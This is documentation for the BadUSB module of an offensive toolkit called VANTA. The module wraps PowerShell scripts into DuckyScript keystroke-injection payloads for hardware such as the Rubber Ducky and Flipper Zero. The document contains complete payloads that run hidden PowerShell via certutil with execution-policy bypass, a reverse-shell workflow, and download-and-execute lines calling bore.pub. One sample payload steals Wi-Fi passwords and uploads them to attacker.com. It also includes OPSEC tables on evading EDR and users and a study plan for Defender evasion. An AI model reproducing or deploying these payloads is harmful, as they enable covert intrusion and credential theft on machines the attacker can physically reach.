- ▸ A PowerShell
.ps1payload script - ▸ A USB HID device (Rubber Ducky, Hak5, DigiSpark, etc.)
- ▸ Physical access to an authorized Windows machine
- ▸ DuckyScript encoder for your device
VANTA (badusb) ❯ set file_path /tmp/rev.ps1 VANTA (badusb) ❯ run target
- • BadUSB = USB device that pretends to be a keyboard
- • DuckyScript = language that describes keystrokes
- • certutil = Windows tool used to decode base64 payload
Overview
What badusb does
badusb takes a PowerShell .ps1 script, base64-encodes it, and wraps it inside a DuckyScript payload. When the USB device is inserted into a Windows machine it emulates a keyboard and types the entire attack sequence automatically: Win+R to open Run, launch PowerShell, then invoke certutil to decode and execute your payload in memory. No external tools are needed on the attack machine.
Compatible with USB Rubber Ducky (Hak5), O.MG Cable, DigiSpark, Raspberry Pi Zero (as HID), and any device that accepts DuckyScript payloads via an encoder. Output is a plain-text .txt file ready to flash.
.ps1 script as base64. The payload is fully self-contained in the DuckyScript — nothing needs to be pre-staged on the target.certutil -decode to decode and write the payload to a temp file, then executes it. No external download required — entirely local.Getting Started
Quick start
Basic — encode a PowerShell script
vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ run target
# Output: ~/.vanta/badusb/rev_badusb.txt
With metadata and slow-hardware delay
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set title "Reverse Shell"
VANTA (badusb) ❯ set author "operator"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ set delay_after_ps 1200
VANTA (badusb) ❯ run target
How It Works
Attack flow
When the USB device is inserted, the DuckyScript is replayed as physical keystrokes. The sequence below takes approximately 3–5 seconds on a modern machine.
powershell into the Run dialog and presses Enter. Windows launches PowerShell in the foreground. delay_after_ps (ms) is waited before the next keystroke to give PowerShell time to open.certutil -decode <b64data> %TEMP%\p.ps1 command into the PowerShell window. The base64-encoded .ps1 content is embedded directly in the DuckyScript — no network connection needed.powershell -ExecutionPolicy Bypass -File %TEMP%\p.ps1 and presses Enter. The payload executes. Typical use: reverse shell back to a pre-started revshell handler.del %TEMP%\p.ps1 to remove the staged file after execution. Enable by setting cleanup true.Reference
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
file_path |
string | required | Path to the PowerShell .ps1 file to encode. Any valid .ps1 script is accepted. |
title |
string | badusb_payload | DuckyScript title comment embedded at the top of the output file. Used for documentation only — not sent to the target. |
author |
string | VANTA | Author name embedded in the DuckyScript header comment. Documentation only. |
ducky_lang |
boolean | false | Set true to output standard DuckyScript (Hak5 Rubber Ducky v2 / Flipper Zero compatible). Set false for a compact format. |
delay_after_ps |
integer | 1000 | Milliseconds to wait after launching PowerShell before sending the certutil command. On slow or cold machines, increase to 1500–2000 if payload execution fails. |
Reference
Output format
Output is saved to ~/.vanta/badusb/<stem>_badusb.txt where <stem> is the input filename without extension. Example: input /tmp/rev.ps1 → output ~/.vanta/badusb/rev_badusb.txt.
Example DuckyScript output
REM Title: Reverse Shell
REM Author: operator
REM Target: Windows 10/11
REM Generated by VANTA badusb v0.0.1
DELAY 500
GUI r
DELAY 400
STRING powershell
ENTER
DELAY 1200
STRING certutil -decode C:\Windows\Temp\p.b64 C:\Windows\Temp\p.ps1
ENTER
DELAY 800
STRING powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\p.ps1
ENTER
The base64-encoded payload content replaces the C:\Windows\Temp\p.b64 step — in the actual output, the device writes the encoded content to a temp file first, then certutil decodes it in place.
Flash to device
Flash using the encoder appropriate for your device:
| Device | Tool | Notes |
|---|---|---|
| USB Rubber Ducky (Gen 1) | Hak5 online encoder | Compile to inject.bin, copy to SD card root |
| USB Rubber Ducky (Gen 2+) | Hak5 online encoder | DuckyScript 3.0 — enable ATTACKMODE HID STORAGE |
| Flipper Zero | qFlipper app or SD copy | Place .txt in SD:/badusb/; run from BadUSB app |
| O.MG Cable | O.MG web UI | Paste DuckyScript in web interface, trigger via Wi-Fi |
| DigiSpark ATtiny85 | Arduino IDE | Manually translate to DigiKeyboard.h sketch |
Usage
Examples
Generate a reverse shell payload
# Step 1: Generate a PowerShell reverse shell payload
vanta ❯ use revshell
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ set shell powershell
VANTA (revshell) ❯ run target
# → copy output to /tmp/rev.ps1
# Step 2: Encode for BadUSB
vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set delay_after_ps 1000
VANTA (badusb) ❯ run target
# → output: ~/.vanta/badusb/rev_badusb.txt — flash to device
# Step 3: Start listener, insert device into target
vanta ❯ use revshell
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ set ports 4444
VANTA (revshell) ❯ run target
Slow machine — increase delay
VANTA (badusb) ❯ set file_path /tmp/payload.ps1
VANTA (badusb) ❯ set delay_after_ps 2000 # 2 seconds for old/slow hardware
VANTA (badusb) ❯ run target
Full metadata output
VANTA (badusb) ❯ set file_path /tmp/recon.ps1
VANTA (badusb) ❯ set title "System Recon"
VANTA (badusb) ❯ set author "RedTeam"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ run target
Hardware
Supported hardware
Any device that accepts DuckyScript and emulates a USB HID keyboard works with badusb's output. The most common options:
| Device | Cost | Notes |
|---|---|---|
| USB Rubber Ducky (Hak5) | ~$80 USD | Purpose-built, reliable timing, best compatibility. The original DuckyScript device. Recommended for professional use. |
| Flipper Zero (BadUSB mode) | ~$170 USD | Multi-tool — BadUSB is one of many features. Place .txt file on SD card and run from the BadUSB menu. |
| O.MG Cable | ~$120 USD | Disguised as a charging cable. Triggered over Wi-Fi. High deniability for physical access scenarios. |
| DigiSpark ATtiny85 | ~$3 USD | Cheapest option. Requires Arduino IDE and manual translation. Timing less reliable. Good for prototyping. |
Operational Security
OPSEC considerations
Detection risks
| Vector | Risk level | Mitigation |
|---|---|---|
| USB device in port | Physical — visible to anyone nearby | Use O.MG Cable (looks like a charge cable) or a device disguised as a peripheral |
| PowerShell window visible | Medium — user may see it flash open | Add a MINIMIZEWINDOW or Win+D keystroke to minimize early. Modern Ducky payloads can open PowerShell hidden. |
| certutil execution logged by EDR | Medium — certutil abuse is well-known | Replace with [System.Convert]::FromBase64String PowerShell inline decode (no certutil binary call) |
| Payload file on disk at %TEMP% | Low — temp folder, usually cleaned on reboot | Add a del %TEMP%\p.ps1 line after execution (set cleanup true) |
| Reverse shell callback | High if monitored — outbound connection | Use an encrypted payload (Meterpreter HTTPS) and a WAN bore tunnel; connection looks like HTTPS traffic |
Internals
Architecture Deep Dive
This chapter explains exactly what happens at the USB and HID protocol layers when a BadUSB device is plugged in — from the USB enumeration handshake to individual keystroke bytes. It also covers how VANTA generates DuckyScript and how to write your own payloads.
Internals
USB Enumeration — What Happens When You Plug In
When any USB device is plugged in, the host OS performs a USB enumeration: a discovery protocol where the host queries the device for its capabilities. BadUSB exploits this process by presenting a HID (Human Interface Device) class descriptor — making the OS treat it as a keyboard.
## USB Enumeration sequence (full protocol)
1. Device connects → USB D+/D- lines signal presence
2. Host resets the device (SE0 condition for ≥10ms)
3. Host requests Device Descriptor (18 bytes):
┌──────────────────────────────────────────────────────┐
│ bLength=18 bDescriptorType=0x01 (Device) │
│ bcdUSB=0x0200 (USB 2.0) │
│ bDeviceClass=0x00 (class defined per interface) │
│ idVendor=0x05AC idProduct=0x0221 (e.g., Apple KB) │
│ bcdDevice=0x0100 iManufacturer iProduct iSerial │
│ bNumConfigurations=1 │
└──────────────────────────────────────────────────────┘
# BadUSB chooses VID:PID to match a trusted manufacturer
# 0x05AC = Apple, 0x046D = Logitech, 0x045E = Microsoft
4. Host requests Configuration Descriptor:
┌──────────────────────────────────────────────────────┐
│ bLength=9 bDescriptorType=0x02 (Configuration) │
│ wTotalLength=34 bNumInterfaces=1 │
│ bConfigurationValue=1 iConfiguration=0 │
│ bmAttributes=0xA0 bMaxPower=50 (100mA) │
└──────────────────────────────────────────────────────┘
5. Host reads Interface Descriptor:
┌──────────────────────────────────────────────────────┐
│ bLength=9 bDescriptorType=0x04 (Interface) │
│ bInterfaceNumber=0 bAlternateSetting=0 │
│ bNumEndpoints=1 bInterfaceClass=0x03 │
│ ↑ 0x03 = HID class! │
│ bInterfaceSubClass=0x01 (boot interface subclass) │
│ bInterfaceProtocol=0x01 (keyboard protocol) │
└──────────────────────────────────────────────────────┘
6. Host reads HID Descriptor:
┌──────────────────────────────────────────────────────┐
│ bLength=9 bDescriptorType=0x21 (HID) │
│ bcdHID=0x0110 (HID spec 1.10) │
│ bCountryCode=0x00 bNumDescriptors=1 │
│ bDescriptorType=0x22 wDescriptorLength=63 │
│ ↑ Report Descriptor follows (63 bytes) │
└──────────────────────────────────────────────────────┘
7. Host reads HID Report Descriptor — tells OS the report format:
06 00 FF # Usage Page (Generic Desktop)
09 01 # Usage (Pointer)
...
# For a keyboard, the report descriptor defines:
# - 1 byte: modifier keys (Shift, Ctrl, Alt, GUI)
# - 1 byte: reserved
# - 6 bytes: keycodes (up to 6 simultaneous)
8. Host assigns device address, installs HID driver
→ OS now treats device as keyboard — zero user interaction required
Internals
HID Report Descriptor — Defining the Keyboard Format
The HID Report Descriptor is a variable-length byte array that tells the host exactly what format the device's reports use. For a standard keyboard, the reference descriptor is:
## Standard USB keyboard HID Report Descriptor (hexdump + annotation)
05 01 Usage Page (Generic Desktop Controls)
09 06 Usage (Keyboard)
A1 01 Collection (Application)
05 07 Usage Page (Keyboard/Keypad)
19 E0 Usage Minimum (0xE0 = Left Control)
29 E7 Usage Maximum (0xE7 = Right GUI)
15 00 Logical Minimum (0)
25 01 Logical Maximum (1)
75 01 Report Size (1 bit)
95 08 Report Count (8) ← 8 × 1-bit = 1 modifier byte
81 02 Input (Data, Variable, Absolute) ← modifier bits
95 01 Report Count (1)
75 08 Report Size (8 bits)
81 01 Input (Constant) ← 1 reserved byte (always 0x00)
95 06 Report Count (6)
75 08 Report Size (8 bits)
15 00 Logical Minimum (0)
25 DD Logical Maximum (0xDD = 221)
05 07 Usage Page (Keyboard)
19 00 Usage Minimum (0)
29 DD Usage Maximum (221)
81 00 Input (Data, Array) ← 6 keycode bytes
C0 End Collection
## Total report size: 1 (modifier) + 1 (reserved) + 6 (keycodes) = 8 bytes
## This matches the HID report format VANTA sends: A1 01 [mod] [00] [k1..k6]
Internals
DuckyScript — Command Reference and Encoding
DuckyScript is a simple scripting language designed for USB Rubber Ducky. VANTA's badusb module generates DuckyScript payloads. Here is the complete command reference with exactly what each command translates to at the HID report level.
| DuckyScript Command | HID Reports Generated | Notes |
|---|---|---|
STRING hello | 5 key-down + 5 key-up pairs | One pair per character; modifier set for uppercase |
ENTER | 1 key-down (0x28) + 1 key-up | 0x28 = Return/Enter HID usage |
DELAY 500 | No reports — 500ms sleep | Critical on slow targets; increases reliability |
GUI r | 1 key-down (mod=0x08, key=0x15) + key-up | 0x08=Left GUI bit; 0x15='r' usage ID |
CTRL c | 1 key-down (mod=0x01, key=0x06) + key-up | 0x01=Left Ctrl; 0x06='c' |
ALT F4 | 1 key-down (mod=0x04, key=0x3D) + key-up | 0x04=Left Alt; 0x3D=F4 |
SHIFT TAB | 1 key-down (mod=0x02, key=0x2B) + key-up | 0x02=Left Shift; 0x2B=Tab |
UPARROW | 1 key-down (mod=0, key=0x52) + key-up | Arrow keys: Up=0x52, Down=0x51, Left=0x50, Right=0x4F |
CAPSLOCK | 1 key-down (key=0x39) + key-up | Toggle key — state depends on current lock state |
REPEAT 3 | Repeats previous line's reports 3 more times | Efficient for repeated key presses |
How VANTA Encodes Your PowerShell as DuckyScript
## Input: your PowerShell script (payload.ps1)
IEX (New-Object Net.WebClient).DownloadString('http://bore.pub:38521/shell.ps1')
## Step 1: VANTA base64-encodes the script
import base64
encoded = base64.b64encode(open("payload.ps1","rb").read()).decode()
# Result: "SUVY..." (standard base64)
## Step 2: VANTA wraps in certutil decode command
cmd = f'echo {encoded} > %TEMP%\p.b64 && certutil -decode %TEMP%\p.b64 %TEMP%\p.ps1 && powershell -ep bypass -File %TEMP%\p.ps1'
## Step 3: VANTA generates DuckyScript
DELAY 1000
GUI r
DELAY 600
STRING powershell -w hidden
ENTER
DELAY 800
STRING {cmd}
ENTER
DELAY 200
## The DELAY values are the delay_after_ps parameter
## For slow machines (old hardware, cold boot): increase to 2000ms
## For fast machines (modern SSD, already booted): 500-800ms is fine
Writing Your Own Payload From Scratch
## Example: exfiltrate WiFi passwords via DuckyScript (Windows)
DELAY 1000
GUI r
DELAY 600
STRING cmd /k
ENTER
DELAY 800
## Export all WiFi profiles with passwords to a file, then upload
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j & netsh wlan show profiles %j key=clear 2>nul | findstr "Key Content" >> %TEMP%\wifi.txt
ENTER
DELAY 500
## Upload via curl (present on Windows 10+)
STRING curl -s -X POST -F "f=@%TEMP%\wifi.txt" https://attacker.com/upload
ENTER
DELAY 500
## Cleanup
STRING del %TEMP%\wifi.txt
ENTER
STRING exit
ENTER
Extend
Customization & Extension
Adding a New Delivery Template
# badusb.py — DELIVERY_TEMPLATES dict
# Each template is a function(payload_b64, params) → DuckyScript string
def template_linux_xterm(payload_b64: str, params: dict) -> str:
"""Deliver payload on Linux desktop via xterm."""
delay = params.get("delay_after_ps", 1000)
return f"""DELAY 1000
CTRL ALT t
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER
DELAY 500"""
def template_macos_terminal(payload_b64: str, params: dict) -> str:
"""Deliver payload on macOS via Terminal."""
delay = params.get("delay_after_ps", 1200)
return f"""DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER"""
DELIVERY_TEMPLATES = {
"windows": template_windows_certutil, # existing default
"linux": template_linux_xterm, # yours
"macos": template_macos_terminal, # yours
}
# Usage: set template linux
Targeting macOS — Key Differences
## macOS DuckyScript differences vs Windows
GUI key → macOS uses CMD (not Win/Meta) for system shortcuts
GUI SPACE → Spotlight search
GUI r → does NOT open Run dialog (that's Windows)
ALT F4 → macOS: CMD Q (quit application)
## macOS keyboard shortcuts for opening terminal:
GUI SPACE → type "terminal" → ENTER (Spotlight)
CTRL ALT t → does not work on macOS (that's Linux GNOME default)
## macOS payload delivery — avoid certutil (not present):
## Use base64 built-in (available on all macOS):
STRING echo PAYLOAD_B64 | base64 --decode | bash
## Or use curl (always present):
STRING curl -s http://bore.pub:38521/shell.sh | bash
## Security note: macOS Gatekeeper may block the downloaded file
## piping directly to bash bypasses Gatekeeper (no file written to disk)
Study
Learning Path & Resources
BadUSB combines USB hardware, HID protocol knowledge, and scripting. Build each layer from scratch.
Step 1: USB and HID Basics
| Resource | Type | Why |
|---|---|---|
| USB in a NutShell (beyondlogic.org/usbnutshell) | Free | Best free USB tutorial online. Covers descriptors, enumeration, HID class — exactly what the USB Enumeration section above describes. Read chapters 1-5. |
| HID Specification (usb.org/hid) — free download | Free spec | The official HID spec. Section 5 covers the report descriptor format. Understanding this means you can build your own HID device from scratch. |
| USB Rubber Ducky Wiki (docs.hak5.org) | Free | Hak5's official DuckyScript reference. Full command list, firmware versions, hardware specs. VANTA's badusb generates compatible DuckyScript. |
Step 2: Hands-On Labs
| Setup | Cost | Focus |
|---|---|---|
| DigiSpark ATTiny85 USB board | ~$3-5 on AliExpress | The cheapest BadUSB hardware. Runs Arduino code that emulates HID keyboard. Flash custom payloads to it via Arduino IDE. Same attack as USB Rubber Ducky at 1/20th the cost. |
| Flipper Zero | ~$169 | Multi-tool that includes BadUSB functionality. Run your VANTA-generated DuckyScript directly on it via SD card. |
| Virtual Machine (Windows target) | Free | Test your DuckyScript payloads inside a VM before using real hardware. Paste the key sequence manually (or use AutoHotkey to replay it) to verify the payload works. |
Step 3: PowerShell and Windows Internals
| Resource | Focus |
|---|---|
| PowerShell for Pentesters (TryHackMe room) | Learn the PowerShell commands that badusb payloads use — IEX, New-Object, certutil, DownloadString. |
| LOLBAS Project (lolbas-project.github.io) | Living Off The Land Binaries, Scripts and Libraries — Windows built-ins that can download/execute code. certutil is just one of 100+ documented LOLBins. badusb uses certutil by default — this reference shows alternatives. |
| PowerShell Empire documentation | Advanced PowerShell C2 payloads. Build custom payloads for badusb's delivery stage beyond the basic reverse shell. |
Step 4: Deep Reference
| Resource | Use For |
|---|---|
| Hak5 Payload Hub (payloadhub.com) | Community DuckyScript payloads. Browse to find attack templates, then understand how they work using the DuckyScript internals section above. |
| Flipper Zero BadUSB documentation | Flipper Zero's HID implementation details — slightly different from Rubber Ducky in timing. Use when badusb payloads work on Rubber Ducky but not Flipper. |
| Windows 10/11 Security Baselines (Microsoft) | Understand what Group Policy settings block BadUSB attacks — useful for both red team (bypass) and blue team (defense) perspectives. |
Practice Path
## Progression: from generating your first payload to custom delivery
Week 1: Generate and Understand
Run: badusb with your test payload.ps1
Read: the generated DuckyScript output line by line
Trace: each command in the DuckyScript internals section
Goal: understand every byte before any hardware touches a computer
Week 2: Test in a VM
Setup: Windows 10 VM (use Windows 10 evaluation ISO — free 90 days)
Manually: paste the DuckyScript key sequence using AutoHotkey
Verify: the payload executes correctly in the VM
Debug: if it fails, identify which DELAY needs to be longer
Week 3: Hardware
Order: DigiSpark ATTiny85 ($3-5)
Flash: your badusb payload via Arduino IDE
Test: in your own Windows 10 VM only
Observe: the full attack from plug-in to shell
Week 4: Evasion
Read: LOLBAS project — find certutil alternatives
Modify: the delivery template to use certutil alternatives
Test: does Windows Defender flag the new approach?
Document: your findings (this is bug bounty / red team report material)